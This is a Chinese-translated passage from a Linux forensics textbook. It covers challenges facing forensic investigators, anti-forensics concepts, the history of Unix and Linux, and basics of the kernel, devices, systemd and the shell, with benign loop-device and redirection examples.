嵌入式 Linux 系统,特别是物联网设备,正在快速增长。此外,Linux 桌面操作系统正变得与 Windows 和 Mac 系统一样易于使用,且安全性和隐私问题较少。基于 Linux 的廉价上网本和平板电脑在市场上越来越普遍。Linux 的使用增长促进了对 Linux 取证分析技能的需求。

访问使用锁定技术(受信计算、安全元素和保护区)、加密和嵌入式硬件的基于 Linux 的设备正在为分析带来挑战。在某些情况下,硬件取证(如芯片提取、JTAG 等)可能是从嵌入式设备中提取数据的唯一方法。

客户端云计算的兴起(VDI 技术)导致了基于 Linux 的瘦客户端设备的使用增加。我们熟知的通用操作系统正在转向一种简单的客户端设备,仅提供云环境的窗口,并作为本地硬件的桥梁。即使是“登录”这一传统概念也正在消失,因为与远程云的永久连接已经成为常态。

另一个影响法证分析的变化是存储容量。目前,18TB 的消费级硬盘并不罕见,企业级固态硬盘(SSD)的容量已超过 50TB。这些大容量硬盘挑战了传统的数字法证分析过程。

另一个挑战是犯罪现场发现的或涉及的众多存储设备。曾经是家庭使用的单一计算机,如今已经变成了各种各样的计算机、笔记本电脑、平板电脑、手机、外部硬盘、USB 闪存驱动器、存储卡、CD 和 DVD,以及物联网设备,这些设备都存储着大量数据。挑战在于如何找到并扣押所有相关的存储介质,并以一种使所有数据都能同时被法证分析工具访问的方式获取图像。

证据转移到云端的趋势也带来了多个挑战。在某些情况下,终端设备上可能只保留数据的缓存副本,而大量数据则存储在云服务提供商那里。客户端/用户与云提供商之间的互动将涉及诸如访问或网络流量日志等元数据。如果数据存储在超出法律管辖区的地方,执法机构收集这些数据可能会变得复杂;而对于没有法证支持条款的外包云服务提供商来说,私营组织在收集这些数据时也可能面临困难。

物联网(IoT)是一个快速发展的趋势,预计将对法医学界带来挑战。各种小型的互联网连接电子设备(如健康监测器、时钟、显示器、安全摄像头等)通常不包含大量存储空间,但它们可能包含有用的遥测数据,例如时间戳、位置信息、运动数据、环境条件等。识别和访问这些数据最终将成为法证证据收集的标准部分。

可以说,当今法医调查员面临的最困难挑战之一是专有设备的趋势和加密技术的使用。个人计算机架构和磁盘设备历来是开放的,并且有充分的文档支持,从而促使了标准法医工具的创建,用以访问数据。然而,专有软件和硬件的使用增加,加上加密数据的出现,使得法医工具的开发变得困难。尤其是在移动设备领域,设备可能需要先被“越狱”(实际上是进行黑客攻击)才能访问更低级的文件系统块。

多管辖区的方面

网络犯罪的国际跨境性质是法医调查员面临的另一个挑战。假设一个位于 A 国的公司成为了 B 国攻击者的目标,攻击者通过 C 国的中继代理服务器入侵基础设施,进而通过 D 国的外包合作伙伴进行攻击,并将被盗数据传输到 E 国的存储区域。在这种情况下,涉及了五个不同的国家,这意味着可能需要协调五个不同的执法机构,并且至少需要五家公司在五个不同的法律管辖区内进行合作。今天,这种跨国情形并不罕见,事实上,它相当常见。

行业、学术界和执法机构的合作

网络犯罪活动日益复杂和先进,促使了情报收集、证据获取和调查协调的增加合作与协作。

行业同行之间的这种合作可以看作是在共同对抗敌人(例如银行业对抗银行恶意软件、互联网服务提供商行业对抗 DDoS 攻击和垃圾邮件等)。合作也已经跨越了公私部门的界限,执法机构与行业合作,共同打击公共–私人伙伴关系中的犯罪活动。这种多方面的合作创造了识别、收集和转移数字证据的机会。挑战在于确保私人合作伙伴了解数字证据的性质,并能够满足执法部门在公共部门中的标准。这将增加基于私营部门收集的证据成功起诉的可能性。

另一个与工业界和执法部门合作的群体是学术研究社区。这个社区通常由大学的法医实验室和安全研究部门组成,它们深入研究计算机犯罪的理论和高度技术化的方面。这些研究人员能够花时间分析问题并深入了解新的犯罪手段。在某些情况下,他们能够为执法部门提供帮助,在标准的法医工具无法提取所需证据时。这些学术团体还必须理解管理和保存数字证据的需求和期望。

死后计算机法医分析原则

作为一门科学学科,数字取证的原则受到多个因素的影响,包括正式定义的标准、同行评审的研究、行业规章和最佳实践。

数字取证标准

与法医学采集相比,针对通用操作系统分析的标准较少。操作系统法医学分析过程往往由法医实验室的政策和要求以及法医分析软件的能力驱动。没有国际标准组织像 NIST 的 CFTT 那样定义如何执行操作系统法医分析。由于通用操作系统种类繁多、复杂且变化快速,难以定义出一种通用的标准程序。

同行评审的研究

数字取证标准和方法的另一个来源是同行评审的研究和学术会议。这些资源提供了数字取证研究社区中的最新进展和技术。基于同行评审的科学研究的法医工作在新方法和新技术的应用上尤为重要,因为这些方法和技术可能在法庭上未经验证。

存在多个国际学术研究社区,它们为知识体系的发展做出了贡献。数字调查^(3)是取证领域一个重要的科学研究期刊,自 2004 年起发布该领域的学术研究。数字调查最近加入了法医学国际期刊(FSI)系列,标志着数字取证被纳入传统的法医学范畴。一个数字取证学术研究会议的例子是数字取证研究研讨会(DFRWS)。^(4) DFRWS 于 2001 年在美国成立,旨在创建一个来自学术界、工业界和公共部门的数字取证专家社区。DFRWS 欧洲分会于 2014 年启动,DFRWS 亚太分会(APAC)则于 2021 年成立。DFRWS 的全球扩展反映了数字取证作为一门国际科学学科的成长。

完整披露:我是 FSI 数字调查期刊的编辑,并且参与了 DFRWS 欧洲分会的组织委员会。

行业法规和最佳实践

行业特定的规定可能会对数字证据的收集提出额外的要求(或限制)。

在私营部门,行业标准和最佳实践由各种组织和行业团体制定。例如,信息保障咨询委员会提供了数字调查和证据的董事和公司顾问指南

其他来源包括法律和监管机构强制执行的标准和流程;例如,美国《萨班斯-奥克斯利法案》对证据收集能力的要求。

一些数字证据要求也可能取决于行业。例如,某地区的医疗保健规定可能会指定数据保护要求,并包括在发生数据泄露时的各种取证响应和证据收集流程。电信提供商可能会有日志保存和执法机关访问基础设施通信的规定。银行监管机构也会规定与欺诈(特别是网络欺诈)相关的数字证据要求和标准。一个很好的例子是新加坡金融管理局(MAS),^(5)提供了详细的银行社区标准,涵盖安全和事件响应等领域。

另一个影响因素是日益增长的网络保险领域。未来几年,保险公司将需要调查和验证网络保险索赔。分析的正式标准可能由保险监管机构推动,并有助于规范分析过程。

最近网络攻击,特别是勒索软件的增加,正在同时针对多个行业(金融、健康等)。标准化证据收集和分析的需求将在未来几年获得监管机构的更多关注。

取证中的特殊话题

本简短部分涵盖了几项在本书其他部分不太适合的特殊话题,但值得提及。

取证准备

取证准备的概念是指在发生事件时提前为执行数字取证采集和分析做好准备。这通常适用于预见到滥用和攻击自己基础设施的组织。取证准备可能是监管机构(如卫生、金融等部门)或其他商业行业立法(如《萨班斯-奥克斯利法案》)的要求。取证准备也可能由行业标准和最佳实践或组织自身的政策(由其风险和安全职能推动)驱动。

取证准备可能包括定义系统配置和日志要求、组织的取证能力(例如,取证团队或外包合作公司)、制定执行取证调查和/或收集数字证据的流程,以及安排外部支持的保留合同。对于选择拥有内部数字取证能力的大型组织,这还包括员工培训并确保拥有足够的工具。

取证准备通常适用于拥有自己 IT 基础设施的组织,这些组织能够决定准备工作。在执法机构的情况下,刑事调查过程中没收的 IT 基础设施并不在事先控制或了解范围内。公共部门的取证实验室所拥有的取证准备更多是指员工培训、工具和流程,以应对各种意外的数字取证工作。

反取证

反取证反取证技术的概念在近年来已成为一个引起关注和重视的话题。数字取证领域的大部分研究和从业工作是公开可得的,这意味着那些有兴趣保护自己并隐藏犯罪活动的罪犯可以接触到这些信息。

反取证活动并不是新鲜事,自计算机入侵开始以来就一直存在。这是一场猫鼠游戏,类似于杀毒软件社区在尝试检测和防止恶意软件和病毒活动时面临的挑战。

一些反取证活动是通过合法的安全研究发现的。其他反取证活动则在犯罪分子之间的地下网络中共享(尽管这些方法通常不会隐藏太长时间)。数字取证社区对潜在反取证活动的了解越多,就越有助于应对。如果反取证方法的信息是公开的,数字取证研究人员可以开发工具来检测或防止这些活动。这将提高数字证据的可靠性和完整性,并保护法院决策的有效性。

传统的反取证技术包括加密驱动器上的数据或使用隐写术来隐藏证据。犯罪分子所拥有的系统采用“反取证准备”措施,以确保他们的系统不会记录并保存调查人员可能感兴趣的证据痕迹。

反取证的技术示例包括信息的操控或销毁,如日志文件的篡改,或时间戳的篡改,使得时间线不可靠。例如,像timestomp这样的程序可以将所有文件和目录的时间戳重置为零(即 Unix 纪元,1970 年 1 月 1 日)。清理工具和擦除工具是试图销毁硬盘上操作系统和应用程序活动证据的工具(不可逆地删除缓存、历史记录、临时文件等)。目前,一些反取证对策正在被开发中。一个很好的 Linux 示例是 systemd 日志,它提供了前向安全封存(FSS),可以检测日志的篡改。

在网络领域,反取证的示例包括欺骗、转发、匿名化或动态生成的网页内容。例如,针对性的网络钓鱼网站可能会在特定 IP 地址范围内查看时显示无害的内容,试图阻止被检测或关闭。

恶意软件中的代码混淆(例如恶意 JavaScript 或二进制可执行文件)通常用于阻碍调查人员的逆向工程工作。恶意代码还可能设计为在特定条件出现时保持潜伏。例如,如果计算机是虚拟机(表示可能存在反恶意软件系统),它可能会拒绝安装,或者它可能会根据地理区域的不同表现出不同的行为。

法医调查人员在分析和解读数字证据时,必须保持一定程度的怀疑态度。可以使用加密验证或佐证来源来提高数字证据的真实性和可靠性。在本书中,将会在适当的地方提到潜在的反取证风险。

第二章:LINUX 概述

图片

本章为数字取证调查员提供 Linux 的概述。它描述了 Linux 的历史,包括 Unix 的重要性和影响,并确立了本书中使用的“现代 Linux”定义。我将解释 Linux 内核、设备、systemd 和命令行 shell 的作用。还将提供 shell 和命令行基础的示例,并对各种桌面环境进行简要介绍,回顾流行 Linux 发行版的诞生与演变。本章最后重点讨论应用于 Linux 系统的数字取证,特别是与其他操作系统(如 Windows 或 macOS)的取证分析的比较。

Linux 的历史

理解操作系统的历史根源有助于解释导致现代 Linux 系统的设计决策和原理。软件开发,包括操作系统软件,基本上是一个渐进的过程。自从 Linus Torvalds 首次宣布 Linux 以来,Linux 一直在不断发展,但 Linux 背后的核心思想和哲学早在几十年前就已经开始。

Unix 根源

Linux 的创建与发展以及相关的 GNU 工具深受 Unix 的影响,许多 Linux 的概念和哲学直接来源于 Unix。为了理解 Unix 的根源及其与 Linux 的相似性,了解 Unix 历史非常有帮助。

Unix 的早期构思源于美国麻省理工学院(MIT)、通用电气公司(General Electric)和贝尔电话实验室(Bell Telephone Labs)之间的联合研究项目。该小组原本正在开发 Multics(多路复用信息和计算服务)时分操作系统,但在 1969 年春季,贝尔电话实验室撤回了参与,导致其研究人员开始寻找其他项目。那时正好有一台数字设备公司(DEC)生产的 PDP-7 小型计算机可用,Ken Thompson 在 1969 年夏天开发了包括文件系统、内核、shell、编辑器和汇编器在内的基本系统组件。这个初步实现(还未命名)是用汇编语言编写的,旨在比 Multics 更简单。Dennis Ritchie 和其他几位开发者加入了早期的开发工作,创建了一个可运行的系统。1970 年,“Unix”这个名字被创造出来,戏谑地指代一个“阉割版的 Multics”。Unix 系统在贝尔实验室内的兴趣逐渐增长,1970 年夏季提出的创建文本处理系统的提案为购买一台 PDP-11 计算机提供了理由。

最早的 Unix 版本是用汇编语言编写的,这种语言难以理解,且仅能在特定硬件上运行。Dennis Ritchie 创造了 C 编程语言,这是一种更易于编程的高级语言,可以被编译成适用于任何硬件架构的机器代码。内核和工具被重写为 C 语言,这使得 Unix 变得“可移植”,意味着它可以被编译并运行在任何具有 C 编译器的机器上。1974 年,Ken Thompson 和 Dennis Ritchie 向计算机协会(ACM)提交了一篇描述 Unix 系统的论文^(1)。这篇论文只有 11 页,描述了 Unix 的基本设计原则和操作方式。文件系统是 Unix 的核心组件,所有东西,包括硬件设备,都可以作为一个文件在层级树中访问。论文描述了 shell、文件重定向、管道概念、以及二进制文件和 shell 脚本的执行。

发布 Unix 论文引起了学术界的关注,并且包括源代码在内的 Unix 免费副本被提供给大学用于研究目的(只需支付运费和分发介质费用——类似于后来的 Linux 发行版)。学术研究人员进一步的研究与开发推动了 Unix 的发展,伯克利加利福尼亚大学的 Bill Joy 发布了一个版本的 Unix,称为伯克利软件发行版(Berkeley Software Distribution,简称 BSD)。随着时间的推移,BSD 增加了广泛的网络硬件支持和 ARPANET(后来成为我们今天所知的互联网)的 TCP/IP 协议。网络连接和 BSD 对 TCP/IP 的免费实现引起了大学的兴趣,尤其是那些希望连接到早期互联网的学校。BSD 开始成为一个由全球学术界和世界各地的研究人员与学生共同驱动的操作系统。原始的 BSD 开发者之一,Kirk McKusick,曾发表过一个名为《BSD 的叙事历史》(多个版本可在 YouTube 上观看)的演讲。

在 Unix 之前,销售计算机产品需要开发硬件并编写操作系统(两者都是专有的)。随着 Unix 的普及,构建专有计算机的公司开始使用 Unix 作为操作系统。

一大波 Unix 系统涌入市场,包括 Silicon Graphics 的 Irix、DEC 的 Ultrix、Sun Microsystems 的 SunOS 和 Solaris、IBM 的 AIX、HP 的 UX 等等。针对普通 PC 的 Unix 软件版本也已推出,包括微软的 Xenix、Santa Cruz Operation(SCO)Unix、Univel Unixware 等等。这种商业化导致了 Unix 许可问题,并引发了数十年的法律纷争,首先是 BSD 与 AT&T 之间的纠纷,后来是 SCO、Novell 和 IBM 之间的纠纷。

商业化的普及导致了许多不同的 Unix“版本”,因为每个公司都推出了专有的修改以获得竞争优势。Unix 开始变得碎片化和不兼容,促使了 POSIX、The Open Group 的单一 Unix 规范、通用桌面环境(CDE)等标准的诞生。

今天,Unix 仍然出现在企业计算环境中。史蒂夫·乔布斯决定在 NeXT 计算机上使用 Unix,并且这一决策被作为 Apple OS X Macintosh 操作系统的基础,后来也被用于 Apple 的 iOS 移动设备。

商业 Unix 的高昂成本促使了为爱好者、学生、研究人员等创造免费的替代方案。两个流行的免费 Unix 类系统替代品是 386BSD 和 Minix。一系列文章在《Dr. Dobb’s Journal》中描述了基于 BSD Unix 最后一次免费发布版本的 386BSD 系统。两个用户社区为 386BSD 编写补丁,并最终形成了 FreeBSD 和 NetBSD,这两个系统至今仍在积极开发中。

Minix 是由安德鲁·塔南鲍姆开发的 Unix 克隆系统,用于大学的教学和研究。最初它旨在取代 AT&T Unix,塔南鲍姆曾用它来教授操作系统课程。Minix 至今仍在积极开发中,并且在 Linux 的创建过程中发挥了重要作用。

1983 年,理查德·斯托曼创建了 GNU 项目,并使用递归缩写“GNU’s Not Unix!”命名该项目。GNU 的目标是创建一个完整的类 Unix 自由操作系统,包括内核和用户空间。到了 1990 年代初,用户空间工具基本完成,唯一缺失的就是内核。这个缺失的部分即将由芬兰的一名年轻学生完成。

不同的 Unix 系统、Unix 克隆和其他类 Unix 系统都共享相同的Unix 哲学。从本质上讲,这种哲学鼓励程序员创建能够做一件事且做得很好的小程序,并且这些程序能够相互作用。自由和开源软件往往遵循这一哲学,而这一哲学同样可以(或应该)应用于编写数字取证软件。例如,The Sleuth Kit(TSK)是一个由许多小工具组成的取证工具包,每个工具执行一个特定任务,一个工具的输出可以作为另一个工具的输入。商业软件往往是相反的,通常意味着庞大的单体工具,这些工具试图做所有事情,并出于竞争原因避免互操作性(尽管 API 正在变得越来越普遍)。

早期的 Linux 系统

Linus Torvalds 在赫尔辛基大学学习时创建了 Linux。他希望有一个与 Minix 不同许可的替代品,并且他更倾向于单体内核设计(与偏好微内核的 Tanenbaum 相对)。他于 1991 年开始编写自己的内核,使用 Minix 作为开发平台。几个月后,他在 Minix 新闻组中提到这一项目并请求反馈。几周后,他发布了一份公告,提供了一个包含代码的 FTP 网站,并呼吁大家参与贡献:^(2)

From: (Linus Benedict Torvalds)
Newsgroups: comp.os.minix
Subject: Free minix-like kernel sources for 386-AT
Date: 5 Oct 91 05:41:06 GMT
Organization: University of Helsinki

Do you pine for the nice days of minix-1.1, when men were men and
wrote their own device drivers? Are you without a nice project and
just dying to cut your teeth on a OS you can try to modify for your
needs? Are you finding it frustrating when everything works on minix?
No more allnighters to get a nifty program working? Then this post
might be just for you :-)
...
I can (well, almost) hear you asking yourselves "why?". Hurd will be
out in a year (or two, or next month, who knows), and I've already got
minix. This is a program for hackers by a hacker. I've enjouyed doing
it, and somebody might enjoy looking at it and even modifying it for
their own needs. It is still small enough to understand, use and
modify, and I'm looking forward to any comments you might have. I'm
also interested in hearing from anybody who has written any of the
utilities/library functions for minix. If your efforts are freely
distributable (under copyright or even public domain), I'd like to
hear from you, so I can add them to the system.
...
Drop me a line if you are willing to let me use your code.
Linus

Linus Torvalds 创建了 Linux 内核,该内核采纳了 Unix 的概念和哲学。构建 Linux 需要 GNU 工具,如 C 编译器。其他 GNU 工具,如 shell,则是实际使用操作系统所必需的。围绕这一项目,形成了一个充满好奇和兴奋的开发者社区,他们为项目贡献补丁并在不同硬件上测试代码。到 1994 年,第一个被认为足够成熟的内核版本 1.0 发布。Linux 内核的开发不断演变,支持多处理器并移植到其他 CPU 架构。开发者们在为各种硬件设备提供支持(专有且未记录的硬件仍然是一个挑战)方面不断努力。这个充满热情的社区在 Linus Torvalds 的指导下,持续开发并改进我们今天使用的 Linux 内核。

早期桌面环境

在 Unix 的早期,图形终端(如 Tektronix 4010 系列)是由计算机辅助设计(CAD)等图形程序使用的独立设备。图形终端不像今天的图形用户界面(GUI)那样是用户界面的一部分。到了 1980 年代中期,许多实验性和专有的窗口系统和桌面系统已可使用,但 X 窗口系统的引入改变了用户与计算机交互的方式。

1984 年,麻省理工学院(MIT)推出了开放标准 X,经过几年快速发展(发布了 11 个版本),X11 于 1987 年发布。它为图形程序(X11 客户端)提供了一个标准协议,使其能够在屏幕上显示(X11 服务器)。X11 协议可以集成到应用程序中,并能够在任何 X11 服务器上显示窗口,甚至通过网络进行显示。X11 在生产图形工作站的商业 Unix 供应商中得到了广泛采用。由于工作站的构建涉及到图形硬件的开发,X11 服务器通常是操作系统的专有组件。

自由的类 Unix 操作系统需要一个免费的 X11 服务器来支持普通的 PC 图形卡。在 1992 年,XFree86 项目应运而生,填补了这一空白,使得在运行 BSD 和 Linux 的 PC 上开发自由的 X11 桌面成为可能。2004 年,X.Org 基金会(* x.org/*)成立,并从 XFree86 中分叉出了一个 X11 的参考实现。XFree86 开发者之间的许可更改和分歧导致 X.Org 成为事实上的 Linux X11 实现标准。^(3)

X11 仅仅是一个协议标准,它并不提供窗口管理或桌面环境。为了管理 X11 窗口,需要一个单独的窗口管理器。窗口管理器(只是另一个 X11 客户端应用程序)使用 X11 协议,并负责基本的窗口功能,如调整大小、移动和最小化。窗口管理器还提供窗口装饰、标题栏、按钮和其他图形界面功能。多个窗口管理器的出现为 Linux 发行版提供了选择。在最早的 Linux 发行版中,常用的窗口管理器是 TWM 和 FVWM。如需了解经典窗口管理器的更多信息,请参阅 www.xwinman.org/

X11 应用程序使用图形 小部件 构建菜单、按钮、滚动条、工具栏等。这些小部件赋予应用程序独特的外观和感觉。开发者可以自由创建自己的小部件,但大多数开发者使用系统自带的库。早期的小部件工具包包括 Athena、OPEN LOOK 和 Motif。X11 桌面应用程序可以使用任何图形小部件的风格;没有强制的系统级标准,这可能导致每个应用程序使用不同工具包时,桌面外观不一致。如今,Linux 上最常用的两个工具包是 GTK(用于 GNOME)和 Qt(用于 KDE)。

然而,单单拥有窗口管理器和小部件工具包还不足以提供用户所期待的完整桌面体验。还需要为应用启动器、回收站、壁纸、主题、面板以及其他现代计算机桌面中常见的元素提供功能。Unix 社区创建了 CDE,提供一个标准的、功能齐全的桌面环境,且不依赖于厂商。这最初并不是开放的,因此自由和开源社区开发了自己的桌面标准(XDG 和 freedesktop.org)。

现代 Linux 系统

Linux 内核和 Linux 发行版已经不再仅仅是基础的 Unix 克隆。许多新技术已独立于 Unix 为 Linux 开发。许多传统的技术也在较新的 Linux 版本中被替代。这些技术进步帮助区分了传统 Linux 和现代 Linux。

本书不涉及传统 Unix 和早期 Linux 系统的取证分析话题,而是集中在现代 Linux 系统组件的取证分析。接下来的部分为那些不太熟悉现代 Linux 系统的人提供这些新或不同组件的概述。

硬件

在取证环境下分析 Linux 系统时,你需要尽可能准确地确定自系统安装以来,系统中物理安装或连接了哪些硬件。内核管理硬件设备,并在日志中留下已添加或移除硬件的痕迹。

内部设备可能集成在主板上(板载),插入 PCI Express 插槽(包括 M.2 插槽),插入 SATA 接口,或连接到主板上的其他针脚块。需要识别的内部硬件组件示例可能包括:

  • 主板(描述主板本身)

  • 板载设备(集成到主板)

  • PCI Express 设备(显卡和其他 PCIe 卡)

  • 内部驱动器(SATA 或 NVMe)

  • 网络设备(无线或有线)

Linux 在主板更换(升级)为另一块主板时不需要重新安装,因此可能会识别到不止一块主板。主板的物理检查还可能包括读取 NVRAM 来分析 UEFI 变量和其他 BIOS 信息。

另一个内部接口是高级配置和电源接口(ACPI),该接口的开发目的是使操作系统能够控制系统和组件的各种电源管理方面。Linux 支持 ACPI 接口,并通常通过 systemd 或 acpid 守护进程管理事件。

外部硬件组件通常通过 USB、Thunderbolt、DisplayPort、HDMI 或其他外部连接器连接。需要识别的外部硬件组件或外设示例可能包括:

  • 外部存储介质

  • 鼠标和键盘

  • 显示器

  • 打印机和扫描仪

  • 网络摄像头、相机和视频设备

  • 音频设备

  • 移动设备

  • 任何其他外部外设

从取证获取的磁盘镜像中识别硬件将依赖于日志、配置文件和其他持久数据中的痕迹。对扣押硬件的物理检查应与取证镜像中发现的痕迹相符。

内核

内核是 Linux 系统的核心。它提供用户程序(称为 用户空间用户域)与硬件之间的接口。内核能够检测何时有硬件被连接或移除,并使这些变化对系统的其他部分可见。总体而言,内核负责许多任务,包括以下内容:

  • 内存、CPU 和进程管理

  • 硬件设备驱动程序

  • 文件系统和存储

  • 网络硬件和协议

  • 安全策略执行

  • 人机接口和外设

图 2-1 显示了 Linux 内核及其子系统的架构概览。^(4)

Image

图 2-1:Linux 内核架构(修改自 github.com/makelinux/linux_kernel_map/)

多年来,内核已经获得了许多新功能。使用 cgroups 和 namespaces 执行进程高级隔离的能力为容器奠定了基础。像 btrfs 这样的新文件系统专门为 Linux 系统设计。btrfs 文件系统将以前在单独组件(如 RAID 或 LVM)中找到的存储功能合并,提供快照、子卷和其他卷管理功能。像 nftables 这样的新防火墙技术正在以更快、更高效的操作和更简洁的规则集取代传统的 iptables。像 WireGuard 这样的新 VPN 技术是对老化的 IPsec 和 OpenVPN 标准的更简单替代方案。

内核由引导加载程序在系统启动时执行。引导加载程序技术已经从传统的 MBR(BIOS 执行零扇区)过渡到更先进的 UEFI(固件使用 GPT 分区、UEFI 二进制文件和 EFI 变量)。在运行过程中,内核可以动态地更改和配置,并且可以通过可加载内核模块添加更多功能。当系统关闭时,内核是最后停止运行的部分。

本书将从数字取证调查的角度,覆盖所有这些新的技术。

设备

Linux 设备是一个特殊文件,通常位于 /dev/ 目录下,提供对内核中设备驱动程序的访问。内核中的设备驱动程序与物理硬件组件接口,或创建伪设备。设备文件可以创建为 块设备字符设备 类型。块设备以块(缓冲区块)的形式传输数据,字符设备以连续流(无缓冲区)的形式传输数据。Linux 存储设备(硬盘、SSD 等)通常是块设备。

大多数 Linux 法医工具设计用于直接在法医获取的镜像文件上操作。然而,许多有用的故障排除、调试和诊断工具仅在 Linux 设备文件上操作。在这些情况下,嫌疑驱动器需要连接到分析系统,并使用写保护器,或者可以使用循环设备。Linux 可以将常规文件与特殊的循环设备关联,该设备表现得像一个物理连接的驱动器,从而使得可以使用通常只在设备上操作的工具访问法医镜像文件。

你可以使用 losetup 工具来创建循环设备。在这个例子中,为一个法医获取的图像文件命名为 image.raw 的文件创建了一个循环设备:

$ sudo losetup --find --read-only --partscan --show image.raw
/dev/loop0
$ ls /dev/loop0* 
/dev/loop0 /dev/loop0p1 /dev/loop0p2

sudo命令以特权用户(root)身份执行losetup。前两个标志告诉losetup将镜像文件映射到下一个可用的环回设备(/dev/loop0),并且是只读方式。最后两个标志指示内核扫描镜像的分区表,并在完成时显示环回设备的名称(/dev/loop0)。

以下的ls命令显示了创建的分区环回设备(loop0p1loop0p2)。你可以使用常规的取证工具查看/dev/loop0上的分区表,具体如下:

$ sudo fdisk -l /dev/loop0
Disk /dev/loop0: 20 GiB, 21474836480 bytes, 41943040 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xce7b65de

Device        Boot     Start       End   Sectors   Size Id Type
/dev/loop0p1            2048  24188109  24186062  11.5G 83 Linux
/dev/loop0p2        24188110  41929649  17741540   8.5G 82 Linux swap / Solaris

这里的fdisk^(5)命令像正常连接的驱动器一样读取设备,并显示镜像文件的分区表。任何可以操作块设备的工具也应能以这种方式访问镜像文件。

本书中展示的示例使用了多种工具和技术。每个工具可能需要以不同的方式访问驱动器、取证镜像文件,甚至是挂载的文件系统。为了避免混淆,接下来的示例中我将使用以下命名方案:

image.raw 一个通过取证方式获取的原始镜像文件(使用扇区偏移量来表示文件系统)

partimageX.raw 单独提取的分区镜像文件,仅包含分区内容(通常是文件系统)

/dev/sda 一个块设备(在/dev/中),物理连接或使用环回(losetup

/dev/loopX 与取证镜像文件相关联的块设备

/evidence/ 一个路径,指向嫌疑人/受害者驱动器的挂载文件系统

如果路径前没有斜杠(/),文件和目录的路径是相对于当前工作目录的。

Systemd

本书中你会发现很多关于 systemd 的内容。Systemd 是一个初始化系统(称为init)、系统管理器和服务管理器。在流行的 Linux 发行版中,systemd 已成为内核和用户空间之间的事实上的系统层。systemd 有命令用于启动和停止后台程序(称为守护进程或服务)、关机和重启系统、查看日志、检查服务状态以及系统的整体状态。你可以编辑不同的 systemd 文本文件(单元文件和配置文件)来自定义系统行为。systemd 基本上管理着从初始启动到关闭的整个系统运行,位于内核之外。

systemd 引入 Linux 社区时并非没有争议,它涉及从传统的 Unix sysvinit 初始化系统过渡。本书详细介绍了 systemd,因为它已经被所有主要的 Linux 发行版采用。从数字取证的角度来看,systemd 提供了许多取证证据和痕迹,可能对调查有兴趣。

systemd 项目有详细的文档,并且几乎所有 systemd 相关的内容都有 man 页面。作为起点,可以查看 systemd(1)的 man 页面,或者在 Linux 命令行中输入 apropos systemd。

systemd 的引入引起了一个根本性的变化,转向使用按需激活来启动守护进程,而不是在启动时显式启动守护进程。这既发生在系统层面,也发生在用户层面。在用户层面,许多后台程序不再需要通过登录 Shell 脚本启动,因为这些程序现在会在需要时自动启动。这主要是出于性能考虑,但启动和停止程序时产生的附加日志条目在法医重建过去的活动时可能非常有用。

命令行

Shell 是一个程序,提供命令行解释器,用于与用户(输入命令)或 Shell 脚本(从文件运行命令)交互。Shell 在用户空间中运行,由系统或已登录的用户执行。这与桌面环境中图形化的 Shell 是不同的。Shell 和相关概念直接源自 Unix。

在 Linux 中最常见的 Shell 是 Bash(Bourne-again shell)。^(6) 用户可以更改默认的 Shell,且有许多可供选择的 Shell。今天,zsh 和 fish 是两个受欢迎的选择。zsh Shell 高度可定制,是一些高级用户的最爱。fish Shell 则更多地为舒适的人机交互设计。Shell 只是一个可以执行的普通程序(您甚至可以从当前的 Shell 中运行另一个 Shell)。

现代桌面用户可能永远不需要使用 Shell 提示符。要与 Shell 交互,您需要登录到控制台(本地或通过 SSH 远程)或在桌面环境中打开终端模拟器。一旦您有了一个 Shell(通常是一个美元符号后跟一个光标),就可以输入命令。

Shell 命令可以是 Shell 程序本身的一部分(内建命令),也可以是您想要运行的程序的名称。您可以通过在命令后添加标志或参数来指定配置信息,还可以设置环境变量来配置 Shell。

最强大的 Shell 概念是管道和重定向。管道允许将一个程序的输出直接发送到另一个程序的输入。重定向允许程序从文件获取输入并将输出发送到文件。Shell 提供了所有这些功能;它不需要集成到每个程序中(这也是前面提到的 Unix 哲学的一部分)。

将程序和文件连接在一起的命令行符号如下:

将程序的数据发送到文件中(如果需要则创建文件)

将程序的数据附加到文件中(如果需要则创建文件)

<     将文件中的数据发送到程序

|     将一个程序的数据发送到另一个程序

这里有一些示例,展示了在命令行中使用程序和文件进行管道和重定向的操作:

$ program < file
$ program > file
$ program >> file
$ program1 | program2
$ program1 | program2 | program3
$ program1 < file1 | program2 | program3 > file2

前三个示例展示了一个程序使用文件的输入和输出运行。接下来的两个示例展示了一个程序将输出发送到另一个程序(或多个程序)。你也可以在命令行中使用多个管道和重定向进行串联。在最后一个示例中,文件 1 中的数据被重定向到程序 1,程序 1 的输出被传输到程序 2,程序 2 的输出传输到程序 3,最后,程序 3 的输出被重定向到文件 2。

从数字取证的角度来看,shell(命令行界面)非常有趣,因为它可以保存用户输入的命令历史。shell 历史的取证分析将在后面的章节中讨论。

现代桌面环境

现代 Linux 桌面环境要么建立在 X11 及窗口管理器之上(如前面章节所讨论),要么与 Wayland 合成器集成。桌面环境(有时称为 DEs 或桌面外壳)提供应用程序启动器、垃圾桶、壁纸、主题、面板等功能。当前最常用的桌面环境是 GNOME 和 KDE。其他流行的桌面环境包括 MATE、Cinnamon、Xfce、LXDE 和 Enlightenment。每个环境提供不同的外观和体验。

为了提供桌面环境之间的基础互操作性,形成了一套社区标准。这些标准被称为跨桌面组(XDG)规范。更多详细信息,请参阅* www.freedesktop.org/*上的规范页面。

一些具有文档化规范的功能,通过标准化桌面环境间的互操作性,包含以下内容:

  • 自动启动应用程序

  • 默认应用程序

  • 垃圾桶或回收站

  • 桌面书签或最近文件

  • 剪贴板管理

  • 缩略图

  • 桌面托盘

  • 状态通知

  • 密码管理器

显然,这个列表对于数字取证检查员也很有意义,后续章节会讨论。

为了减轻新用户的学习曲线,最初的计算机桌面试图复制物理桌面,这种方法被称为桌面隐喻。这包括重叠窗口(像重叠的纸张)、文件夹图标(像纸文件夹)等。近年来,趋势是逐步摆脱传统的桌面隐喻,转向具有不同表现的桌面外壳,使用如平铺、标签页或全屏窗口等功能。

当前的趋势是用 Wayland 取代基于 X11 的桌面环境。Wayland 协议是从零开始开发的,旨在现代化 Linux 图形,消除未使用的功能,并更好地利用本地硬件。

